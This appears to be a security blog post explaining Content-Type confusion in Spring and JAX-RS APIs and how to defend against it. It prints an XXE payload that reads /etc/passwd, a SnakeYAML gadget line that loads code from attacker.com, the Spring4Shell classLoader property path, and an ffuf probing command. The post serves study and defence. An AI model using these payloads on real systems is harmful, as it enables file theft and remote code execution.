Spring and JAX-RS controllers that omit consumes constraints expose every parser the framework registered. Switch Content-Type: application/json to Content-Type: application/xml on the same endpoint and the JAXB converter activates. Switch to application/x-yaml and SnakeYAML processes the body. CVE-2022-1471 scored CVSS 9.8 on that path.
The scanner passed. The pentest passed. Then someone switched one header.
This is the attack profile of Content-Type confusion: invisible to static analysis, absent from CI logs, and exploitable with one header change. Static scanners test the Content-Type the API documents; they never vary it.
No consumes Constraint: Every Parser the Framework Registered
Without @RequestMapping(consumes = "application/json"), Spring routes any Content-Type to its registered converters in priority order. The ContentNegotiationManager iterates all registered converters in priority order and delegates to the first match. Converter selection happens before any business logic runs.
JAX-RS does the same via MessageBodyReader: without @Consumes, the container tries each registered provider in priority order. Red Hat's security advisory on JBoss EAP confirmed that YamlProvider registered globally by default, with no opt-in required from the developer.
CVE-2016-9606 documented this behavior in JBoss RESTEasy. Endpoints with @Consumes("*/*") or no annotation at all accepted application/x-yaml and routed the body directly to Yaml.load(). The Red Hat advisory confirmed that CVE-2016-9606 required no additional gadget chain libraries: SnakeYAML itself was sufficient for code execution. CVE-2018-1051 was the incomplete fix: Yaml.load() remained reachable via YamlProvider in versions before 3.0.26.Final and 3.6.0.Final.
The registration is silent. The API documentation shows JSON examples. The parser router exposes every format the framework supports, with no warning visible to the developer or the code reviewer.
Switching to XML Turns a JSON Endpoint into an XXE Vector
Spring's Jaxb2RootElementHttpMessageConverter activates when Content-Type: application/xml arrives without a consumes restriction. Adding jackson-dataformat-xml to the classpath registers the converter with no explicit configuration. No @Bean declaration or application.properties entry is needed: the dependency's presence on the classpath is the trigger.
Send the payload below in a body that mirrors the JSON schema structure:
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><field>&xxe;</field></root>
The parser resolves the external entity before any schema validation runs. The controller receives a Java object already populated with the file contents. NetSPI demonstrated file disclosure via error response. The /etc/passwd content appears as a parse failure message when the JAXB field type does not match the resolved entity value.
Spring versions before 2015 (CVE-2014-0225) did not disable external entity resolution in JAXB by default. Modern Spring disables it in the default converter, but custom converters override that setting. Detection is direct: HTTP 200 for an XML body where JSON was expected, or HTTP 400 with an error message naming the XML parser class.
YAML's !! Tag Is a Classloader: CVE-2022-1471 at CVSS 9.8
SnakeYAML's Constructor instantiates any Java class named in a !! tag without type restriction. This is not a gadget chain that depends on specific libraries on the classpath: SnakeYAML's own deserialization mechanism is the vector. CVE-2022-1471 (GHSA-mjmj-j48q-9wg2) scored CVSS 9.8 with vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H and affects all 1.x versions.
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com/"]]]]
Execution happens during deserialization, not in application code post-parse. RESTEasy's YamlProvider delivers exactly that path to Yaml.load(). The affected scope is broad: Atlassian Jira, Confluence, and Bitbucket were among the impacted products. Spring Boot includes SnakeYAML as a transitive dependency via spring-boot-starter, meaning most Spring applications carry the exposure without a direct dependency declaration.
For out-of-band confirmation without reading the HTTP response: point the URLClassLoader URL at a Burp Collaborator server. A DNS or HTTP callback confirms code execution before any response is read. This technique works even when the endpoint returns HTTP 200 with a generic empty body.
SnakeYAML 2.0 (February 2023) disables !! type tags by default. For earlier versions: new Yaml(new SafeConstructor(new LoaderOptions())). Never new Yaml(new Constructor()).
Form-Encoded Bodies Populate POJO Fields the Swagger Docs Never Mention
Spring's DataBinder maps form parameters to POJO fields by name, matching JSON deserialization. When an endpoint declares no consumes, Spring attempts form binding on REST controllers. Mass assignment protections written for the JSON path leave the form-encoded path fully open.
CVE-2022-22965 (Spring4Shell, CVSS 9.8) exploited this directly. The class.module.classLoader.resources.context.parent.pipeline.first.pattern via form-encoded body writes to Tomcat's AccessLogValve, enabling arbitrary file write and RCE on WAR deployments running JDK 9 or later. CVE-2024-38820 followed two years later: disallowedFields patterns use locale-dependent String.toLowerCase(). The bypass works on Turkish locale deployments where the uppercase-to-lowercase conversion differs from standard ASCII.
That is the structural problem with blocklists: every new framework version can introduce internal fields the blocklist does not cover. The OWASP recommendation is setAllowedFields() (explicit allowlist) instead of setDisallowedFields(). Never bind a raw POJO to user input without explicit field restrictions.
Content-Type Fuzzing: 4 Requests Reveal Parser Exposure
Static security scanners replay one Content-Type per endpoint, typically whatever the endpoint documents. A four-type fuzz cycle produces HTTP 415 vs 200 differentials that expose which parser families are active, without sending any exploit payload.
Probe 1: JSON body with Content-Type: application/xml → 200 means XML parser active. Probe 2: Content-Type: application/x-yaml → 200 means SnakeYAML active. Probe 3: Content-Type: application/x-www-form-urlencoded → 200 means DataBinder active. Probe 4: Content-Type: text/plain → 415 is the negative control.
ffuf -u https://target/api/endpoint \
-X POST \
-H "Content-Type: FUZZ" \
-d '{"key":"value"}' \
-w content-types.txt \
-mc 200,400,500 \
-fc 415
The 200 vs 415 differential is the oracle before any exploit payload is sent. Burp Intruder produces the same result with a 12-entry media type wordlist: response length divergence flags an active parser. A 400 response with an error body confirms the parser activated and processed the body. A 415 is the only signal of genuine rejection at the dispatcher level.
To confirm YAML RCE without reading the response: use a Burp Collaborator domain in the URLClassLoader URL. The DNS callback proves code execution before any destructive payload is sent. MAGO Intel (intel.mago.team) automates Content-Type fuzzing across endpoints discovered during reconnaissance and flags parsers active beyond the media type documented in the OpenAPI spec.
Fix: Declare consumes, Then Harden Each Parser That Remains
The primary fix is declaring consumes on every endpoint mapping. The framework returns 415 for any body outside the declared media type before controller code runs. In JAX-RS: never use @Consumes("*/*"). The wildcard annotation is semantically equivalent to no annotation.
// Spring
@PostMapping(path = "/api/users", consumes = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<User> create(@RequestBody UserRequest req) { ... }
// JAX-RS
@POST
@Path("/api/users")
@Consumes(MediaType.APPLICATION_JSON)
public Response create(UserRequest req) { ... }
For XML that must stay active: configure XMLInputFactory with IS_SUPPORTING_EXTERNAL_ENTITIES = false and SUPPORT_DTD = false before any unmarshal call. For YAML: SnakeYAML 2.0 or new Yaml(new SafeConstructor(new LoaderOptions())) for earlier versions. For form data: setAllowedFields() with an explicit list; setIgnoreUnknownFields(false) to reject fields outside the allowlist instead of silently discarding them.
The attack surface is not in the endpoint logic. It is in the distance between what the endpoint documents and what the framework accepts.
Top comments (0)